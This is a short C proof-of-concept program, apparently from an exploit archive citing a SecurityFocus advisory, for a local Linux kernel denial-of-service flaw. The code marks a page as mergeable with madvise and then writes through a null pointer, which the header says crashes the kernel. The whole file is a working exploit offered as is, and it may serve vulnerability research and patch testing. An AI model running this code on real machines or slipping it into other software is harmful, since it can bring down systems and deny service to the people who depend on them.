28 lines
No EOL
617 B
C
28 lines
No EOL
617 B
C
/*
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source: https://www.securityfocus.com/bid/48101/info
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The Linux kernel is prone to a local denial-of-service vulnerability.
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Attackers can exploit this issue to trigger a kernel crash, which may result in a denial-of-service condition.
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <sys/mman.h>
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#define BUFSIZE getpagesize()
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int main(int argc, char **argv)
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{
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void *ptr;
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if (posix_memalign(&ptr, getpagesize(), BUFSIZE) < 0) {
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perror("posix_memalign");
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exit(1);
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}
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if (madvise(ptr, BUFSIZE, MADV_MERGEABLE) < 0) {
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perror("madvise");
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exit(1);
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}
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*(char *)NULL = 0;
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return 0;
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} |